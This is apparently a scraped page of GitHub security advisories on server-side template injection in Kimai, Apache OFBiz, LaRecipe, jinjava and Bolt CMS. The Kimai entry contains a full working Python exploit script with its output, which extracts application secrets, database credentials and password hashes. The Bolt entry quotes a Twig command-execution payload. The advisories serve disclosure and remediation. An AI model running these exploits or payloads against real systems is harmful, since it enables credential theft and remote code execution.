Output\n\n```\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551     Kimai 2.45.0 - SSTI Information Disclosure Exploit        \u2551\n\u2551                                                               \u2551\n\u2551  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4\u0026serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to \u003curl\u003e` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip(\u0027/\u0027)\n        self.session = requests.Session()\n        self.username = username\n        self.password = password\n        \n    def login(self):\n        \"\"\"Authenticate to Kimai\"\"\"\n        print(f\"[*] Connecting to {self.target}\")\n        \n        try:\n            login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n        except requests.exceptions.ConnectionError:\n            raise Exception(f\"Cannot connect to {self.target}\")\n        except requests.exceptions.Timeout:\n            raise Exception(f\"Connection timeout to {self.target}\")\n            \n        if login_page.status_code != 200:\n            raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n        \n        csrf_match = re.search(r\u0027name=\"_csrf_token\"[^\u003e]*value=\"([^\"]+)\"\u0027, login_page.text)\n        if not csrf_match:\n            raise Exception(\"CSRF token not found on login page\")\n        \n        csrf = csrf_match.group(1)\n        print(f\"[*] Authenticating as {self.username}\")\n        \n        login_resp = self.session.post(\n            f\"{self.target}/en/login_check\",\n            data={\n                \"_username\": self.username,\n                \"_password\": self.password,\n                \"_csrf_token\": csrf\n            },\n            allow_redirects=True,\n            timeout=10\n        )\n        \n        # Check for successful login\n        if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n            if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n                raise Exception(\"Invalid username or password\")\n            raise Exception(\"Authentication failed - check credentials\")\n        \n        print(f\"[+] Successfully authenticated as {self.username}\")\n        return True\n    \n    def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n        \"\"\"Trigger SSTI via export functionality\"\"\"\n        print(f\"[*] Triggering SSTI with template: {template_name}\")\n        \n        try:\n            export_resp = self.session.post(\n                f\"{self.target}/en/export/data\",\n                data={\n                    \"renderer\": template_name,\n                    \"state\": \"3\",       # All states\n                    \"billable\": \"0\",    # All billable states\n                    \"exported\": \"5\",    # All export states\n                    \"markAsExported\": \"0\",\n                },\n                timeout=60\n            )\n        except requests.exceptions.Timeout:\n            raise Exception(\"Export request timed out\")\n        \n        if export_resp.status_code == 404:\n            raise Exception(f\"Template \u0027{template_name}\u0027 not found - deploy template first\")\n        \n        if export_resp.status_code == 403:\n            raise Exception(\"Access denied - user lacks export permissions\")\n            \n        if export_resp.status_code != 200:\n            raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n        \n        if b\u0027%PDF\u0027 not in export_resp.content[:10]:\n            if b\u0027error\u0027 in export_resp.content.lower() or b\u0027exception\u0027 in export_resp.content.lower():\n                raise Exception(\"Template rendering error - check template syntax\")\n            raise Exception(\"Invalid response - expected PDF output\")\n        \n        print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n        return export_resp.content\n    \n    def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n        \"\"\"Extract text from PDF using pdftotext\"\"\"\n        with open(output_path, \"wb\") as f:\n            f.write(pdf_content)\n        \n        try:\n            result = subprocess.run(\n                [\"pdftotext\", output_path, \"-\"],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            if result.returncode != 0:\n                print(f\"[-] pdftotext error: {result.stderr}\")\n                return None\n            return result.stdout\n        except FileNotFoundError:\n            print(\"[-] pdftotext not installed\")\n            print(\"    Install with: apt install poppler-utils\")\n            return None\n        except subprocess.TimeoutExpired:\n            print(\"[-] pdftotext timed out\")\n            return None\n\n    def parse_findings(self, text):\n        \"\"\"Parse and categorize extracted data\"\"\"\n        findings = {\n            \"app_secret\": None,\n            \"database_url\": None,\n            \"password_hashes\": [],\n            \"session_token\": None,\n            \"csrf_tokens\": []\n        }\n        \n        lines = text.split(\u0027\\n\u0027)\n        for i, line in enumerate(lines):\n            line = line.strip()\n            \n            if \"APP_SECRET:\" in line:\n                findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n            \n            if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n                if \"mysql://\" in line:\n                    findings[\"database_url\"] = line.strip()\n                elif i + 1 \u003c len(lines):\n                    findings[\"database_url\"] = lines[i + 1].strip()\n            \n            if \"$2y$\" in line:\n                findings[\"password_hashes\"].append(line)\n            \n            if \"UsernamePasswordToken\" in line:\n                findings[\"session_token\"] = \"Present (serialized PHP object)\"\n            \n            if \"_csrf\" in line.lower() or len(line) == 43:\n                if \":\" in line:\n                    findings[\"csrf_tokens\"].append(line)\n        \n        return findings\n\n\ndef print_banner():\n    print(\"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551     Kimai 2.45.0 - SSTI Information Disclosure Exploit        \u2551\n\u2551                                                               \u2551\n\u2551  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\")\n\n\ndef main():\n    print_banner()\n    \n    if len(sys.argv) \u003c 4:\n        print(\"Usage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\")\n        print()\n        print(\"Arguments:\")\n        print(\"  target_url    - Kimai instance URL (e.g., http://localhost:8001)\")\n        print(\"  username      - Valid admin username\")\n        print(\"  password      - User password\")\n        print(\"  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n        print()\n        print(\"Example:\")\n        print(\"  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n        print()\n        print(\"Prerequisites:\")\n        print(\"  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n        print(\"  2. User must have export permissions (ROLE_ADMIN or higher)\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    username = sys.argv[2]\n    password = sys.argv[3]\n    template = sys.argv[4] if len(sys.argv) \u003e 4 else \"ssti-extract.pdf.twig\"\n    \n    exploit = KimaiSSTIExploit(target, username, password)\n    \n    try:\n        # Step 1: Authenticate\n        exploit.login()\n        \n        # Step 2: Trigger SSTI\n        pdf_content = exploit.trigger_ssti(template)\n        \n        # Step 3: Save PDF\n        output_file = \"kimai_extracted_data.pdf\"\n        with open(output_file, \"wb\") as f:\n            f.write(pdf_content)\n        print(f\"[+] PDF saved to: {output_file}\")\n        \n        # Step 4: Extract and display text\n        text = exploit.extract_text(pdf_content)\n        if text:\n            print()\n            print(\"=\"*60)\n            print(\"RAW EXTRACTED DATA:\")\n            print(\"=\"*60)\n            print(text[:2000])\n            if len(text) \u003e 2000:\n                print(f\"\\n... [{len(text) - 2000} more characters]\")\n            \n            # Parse findings\n            findings = exploit.parse_findings(text)\n            \n            print()\n            print(\"=\"*60)\n            print(\"CRITICAL FINDINGS SUMMARY:\")\n            print(\"=\"*60)\n            \n            if findings[\"app_secret\"]:\n                print(f\"[!] APP_SECRET: {findings[\u0027app_secret\u0027]}\")\n            \n            if findings[\"database_url\"]:\n                print(f\"[!] DATABASE_URL: {findings[\u0027database_url\u0027]}\")\n            \n            if findings[\"password_hashes\"]:\n                unique_hashes = list(set(findings[\"password_hashes\"]))\n                print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n                for h in unique_hashes[:5]:\n                    print(f\"    {h[:80]}...\")\n                if len(unique_hashes) \u003e 5:\n                    print(f\"    ... and {len(unique_hashes) - 5} more\")\n            \n            if findings[\"session_token\"]:\n                print(f\"[!] Session Token: {findings[\u0027session_token\u0027]}\")\n            \n            if findings[\"csrf_tokens\"]:\n                print(f\"[!] CSRF Tokens: {len(findings[\u0027csrf_tokens\u0027])} found\")\n        \n        print()\n        print(\"[+] Exploitation successful!\")\n        print(f\"[+] Full output saved to: {output_file}\")\n        return 0\n        \n    except KeyboardInterrupt:\n        print(\"\\n[-] Interrupted by user\")\n        return 130\n    except Exception as e:\n        print(f\"[-] Exploitation failed: {e}\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI \u2192 Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user\u0027s account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n\n// To:\n$this-\u003epolicy-\u003eaddPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n   ```php\n   public function checkMethodAllowed($obj, $method): void\n   {\n       if ($obj instanceof Request \u0026\u0026 $method === \u0027getServer\u0027) {\n           throw new SecurityError(\u0027Server access not allowed\u0027);\n       }\n   }\n   ```\n\n2. **Block session access in templates:**\n   ```php\n   if ($obj instanceof Session) {\n       throw new SecurityError(\u0027Session access not allowed\u0027);\n   }\n   ```\n\n3. **Restrict User object property access:**\n   ```php\n   if ($obj instanceof User \u0026\u0026 $method === \u0027getPassword\u0027) {\n       throw new SecurityError(\u0027Password access not allowed\u0027);\n   }\n   ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli",
  "id": "GHSA-jg2j-2w24-54cg",
  "modified": "2026-01-20T17:07:13Z",
  "published": "2026-01-20T17:07:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-23626"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/pull/5757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kimai/kimai"
    },
    {
      "type": "WEB",
      "url": "https://github.com/kimai/kimai/releases/tag/2.46.0"
    },
    {
      "type": "WEB",
      "url": "https://twig.symfony.com/doc/3.x/api.html#sandbox-extension"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Kimai has an Authenticated Server-Side Template Injection (SSTI)"
}

GHSA-JQMC-X3RH-92Q5

Vulnerability from github – Published: 2026-05-19 12:31 – Updated: 2026-05-19 21:32
VLAI
Details

Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.

This issue affects Apache OFBiz: before 24.09.06.

Users are recommended to upgrade to version 24.09.06, which fixes the issue.

Please note that in the updated version, "Data Resource" records with dataTemplateTypeId = "FTL" are no longer supported.

Additionally, in the updated version, the "Ecommerce Customer" security group no longer includes content management grants. Users are advised to remove these permissions from any production site as well.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-29207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T10:16:22Z",
    "severity": "MODERATE"
  },
  "details": "Improper Neutralization of Special Elements Used in a Template Engine vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue.\n\nPlease note that in the updated version, \"Data Resource\" records with dataTemplateTypeId = \"FTL\" are no longer supported.\n\nAdditionally, in the updated version, the \"Ecommerce Customer\" security group no longer includes content management grants. Users are advised to remove these permissions from any production site as well.",
  "id": "GHSA-jqmc-x3rh-92q5",
  "modified": "2026-05-19T21:32:02Z",
  "published": "2026-05-19T12:31:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-29207"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/3rcrp8bh3x6ovrj5xnc0fm1f0nrn52r0"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/05/19/14"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JV7X-XHV2-P5V2

Vulnerability from github – Published: 2025-07-14 21:22 – Updated: 2025-07-28 16:50
VLAI
Summary
LaRecipe is vulnerable to Server-Side Template Injection attacks
Details

Impact

Attackers could: 1. Execute arbitrary commands on the server 2. Access sensitive environment variables 3. Escalate access depending on server configuration

A critical vulnerability was discovered in LaRecipe that allows an attacker to perform Server-Side Template Injection (SSTI), potentially leading to Remote Code Execution (RCE) in vulnerable configurations.

Patches

Users are strongly advised to upgrade to version v2.8.1 or later.

Credit

We would like to thank Roman Ananev for responsibly identifying and reporting this vulnerability.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "binarytorch/larecipe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-53833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-07-14T21:22:01Z",
    "nvd_published_at": "2025-07-14T23:15:24Z",
    "severity": "CRITICAL"
  },
  "details": "### Impact\nAttackers could:\n1. Execute arbitrary commands on the server\n2. Access sensitive environment variables\n3. Escalate access depending on server configuration\n\nA critical vulnerability was discovered in LaRecipe that allows an attacker to perform Server-Side Template Injection (SSTI), potentially leading to Remote Code Execution (RCE) in vulnerable configurations.\n\n### Patches\nUsers are strongly advised to upgrade to version v2.8.1 or later.\n\n### Credit\nWe would like to thank **Roman Ananev** for responsibly identifying and reporting this vulnerability.",
  "id": "GHSA-jv7x-xhv2-p5v2",
  "modified": "2025-07-28T16:50:03Z",
  "published": "2025-07-14T21:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/saleem-hadad/larecipe/security/advisories/GHSA-jv7x-xhv2-p5v2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53833"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saleem-hadad/larecipe/pull/390"
    },
    {
      "type": "WEB",
      "url": "https://github.com/saleem-hadad/larecipe/commit/c1d0d56889655ce5f2645db5acf0e78d5fc3b36b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/saleem-hadad/larecipe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LaRecipe is vulnerable to Server-Side Template Injection attacks"
}

GHSA-M49C-G9WR-HV6V

Vulnerability from github – Published: 2025-09-17 19:56 – Updated: 2026-07-31 22:15
VLAI
Summary
jinjava has Sandbox Bypass via JavaType-Based Deserialization
Details

Summary

jinjava’s current sandbox restrictions prevent direct access to dangerous methods such as getClass(), and block instantiation of Class objects. However, these protections can be bypassed.

By using mapper.getTypeFactory().constructFromCanonical(), it is possible to instruct the underlying ObjectMapper to deserialize attacker-controlled input into arbitrary classes. This enables the creation of semi-arbitrary class instances without directly invoking restricted methods or class literals.

As a result, an attacker can escape the sandbox and instantiate classes such as java.net.URL, opening up the ability to access local files and URLs(e.g., file:///etc/passwd). With further chaining, this primitive can potentially lead to remote code execution (RCE).

Details

jinjava templates expose a built-in variable ____int3rpr3t3r____, which provides direct access to the jinjavaInterpreter instance. This variable was previously abused and protections were added to prevent call method from JinjavaInterpreter instances (see Add interpreter to blacklist). However, interacting with the properties of JinjavaInterpreter instances remains unrestricted.

From ____int3rpr3t3r____, it is possible to traverse to the config field, which exposes an ObjectMapper. By invoking readValue(String content, JavaType valueType) on this ObjectMapper, an attacker can instantiate arbitrary classes specified via JavaType.

Although jinjava explicitly restricts dangerous classes such as Class, ClassLoader, and so on inside JinjavaBeanELResolver, the JavaType class itself is not restricted.

As a result, an attacker can leverage JavaType construction (constructFromCanonical) to instantiate semi-arbitrary classes without directly calling restricted methods.

This allows sandbox escape and the creation of powerful primitives.

Impact

Escape the Jinjava sandbox and instantiate a wide range of classes using JavaType. This capability can be used to read arbitrary files and to perform full read SSRF by creating network-related objects. In certain environments, depending on the available classes, this primitive can even lead to complete remote code execution.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hubspot.jinjava:jinjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.8.0"
            },
            {
              "fixed": "2.8.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "2.8.0"
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "com.hubspot.jinjava:jinjava"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.7.0"
            },
            {
              "fixed": "2.7.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59340"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-17T19:56:21Z",
    "nvd_published_at": "2025-09-17T20:15:36Z",
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\njinjava\u2019s current sandbox restrictions prevent direct access to dangerous methods such as `getClass()`, and block instantiation of Class objects. However, these protections can be bypassed.\n\nBy using mapper.getTypeFactory().constructFromCanonical(), it is possible to instruct the underlying ObjectMapper to deserialize attacker-controlled input into arbitrary classes. This enables the creation of semi-arbitrary class instances without directly invoking restricted methods or class literals.\n\nAs a result, an attacker can escape the sandbox and instantiate classes such as java.net.URL, opening up the ability to access local files and URLs(e.g., file:///etc/passwd). With further chaining, this primitive can potentially lead to remote code execution (RCE).\n\n### Details\n\njinjava templates expose a built-in variable `____int3rpr3t3r____`, which provides direct access to the jinjavaInterpreter instance.\nThis variable was previously abused and protections were added to prevent call method from `JinjavaInterpreter` instances (see [Add interpreter to blacklist](https://github.com/HubSpot/jinjava/commit/1b9aaa4b420c58b4a301cf4b7d26207f1c8d1165)).\nHowever, interacting with the properties of `JinjavaInterpreter` instances remains [unrestricted](https://github.com/HubSpot/jinjava/blob/jinjava-2.8.0/src/main/java/com/hubspot/jinjava/el/ext/JinjavaBeanELResolver.java#L80-L84).\n\nFrom `____int3rpr3t3r____`, it is possible to traverse to the `config` field, which exposes an ObjectMapper. By invoking `readValue(String content, JavaType valueType)` on this ObjectMapper, an attacker can instantiate arbitrary classes specified via `JavaType`.\n\nAlthough jinjava explicitly restricts dangerous classes such as `Class`, `ClassLoader`, and so on inside `JinjavaBeanELResolver`, the `JavaType` class itself is [not restricted](https://github.com/HubSpot/jinjava/blob/jinjava-2.8.0/src/main/java/com/hubspot/jinjava/el/ext/JinjavaBeanELResolver.java#L246-L262). \n\nAs a result, an attacker can leverage `JavaType` construction (`constructFromCanonical`) to instantiate semi-arbitrary classes without directly calling restricted methods.\n\nThis allows sandbox escape and the creation of powerful primitives. \n\n### Impact\nEscape the Jinjava sandbox and instantiate a wide range of classes using JavaType.\nThis capability can be used to read arbitrary files and to perform full read SSRF by creating network-related objects.\nIn certain environments, depending on the available classes, this primitive can even lead to complete remote code execution.",
  "id": "GHSA-m49c-g9wr-hv6v",
  "modified": "2026-07-31T22:15:57Z",
  "published": "2025-09-17T19:56:21Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/security/advisories/GHSA-m49c-g9wr-hv6v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-59340"
    },
    {
      "type": "WEB",
      "url": "https://github.com/github/advisory-database/pull/8141"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/commit/66df351e7e8ad71ca04dcacb4b65782af820b8b1"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/HubSpot/jinjava"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.7.5"
    },
    {
      "type": "WEB",
      "url": "https://github.com/HubSpot/jinjava/releases/tag/jinjava-2.8.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "jinjava has Sandbox Bypass via JavaType-Based Deserialization"
}

GHSA-M6XJ-XX3F-5VV9

Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32
VLAI
Details

Bolt CMS renders content field values through Twig's full application-level Environment with no SandboxExtension registered anywhere in the codebase. In src/Entity/Field.php, getTwigValue() calls shouldBeRenderedAsTwig(), which gates rendering only on the field definition's allow_twig flag and a regex checking for {{, {%, or {#; when true, the raw field value is compiled and rendered via self::getTwig()->createTemplate($value)->render(['record' => $this->getContent()]) with no sandboxing. Bolt's own bundled config/bolt/contenttypes.yaml sets allow_twig: true on the default "pages" contenttype's content field out of the box. Any user with edit access to that content type (a standard editor role, not just an administrator) can inject a Twig payload such as {{ ['id']|map('passthru')|join }} that executes arbitrary OS commands when the content is saved and rendered, achieving remote code execution as the web server user.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-71291"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1336"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T13:24:53Z",
    "severity": "HIGH"
  },
  "details": "Bolt CMS renders content field values through Twig\u0027s full application-level Environment with no SandboxExtension registered anywhere in the codebase. In src/Entity/Field.php, getTwigValue() calls shouldBeRenderedAsTwig(), which gates rendering only on the field definition\u0027s allow_twig flag and a regex checking for `{{`, `{%`, or `{#`; when true, the raw field value is compiled and rendered via `self::getTwig()-\u003ecreateTemplate($value)-\u003erender([\u0027record\u0027 =\u003e $this-\u003egetContent()])` with no sandboxing. Bolt\u0027s own bundled config/bolt/contenttypes.yaml sets `allow_twig: true` on the default \"pages\" contenttype\u0027s content field out of the box. Any user with edit access to that content type (a standard editor role, not just an administrator) can inject a Twig payload such as `{{ [\u0027id\u0027]|map(\u0027passthru\u0027)|join }}` that executes arbitrary OS commands when the content is saved and rendered, achieving remote code execution as the web server user.",
  "id": "GHSA-m6xj-xx3f-5vv9",
  "modified": "2026-08-05T15:32:21Z",
  "published": "2026-08-05T15:32:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71291"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bolt/core"
    },
    {
      "type": "WEB",
      "url": "https://github.com/bolt/core/blob/6.1/src/Entity/Field.php"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-MC79-8XP6-RCW8

Vulnerability from github – Published: 2025-12-15 18:30 – Updated: 2025-12-16 21:30
VLAI
Details

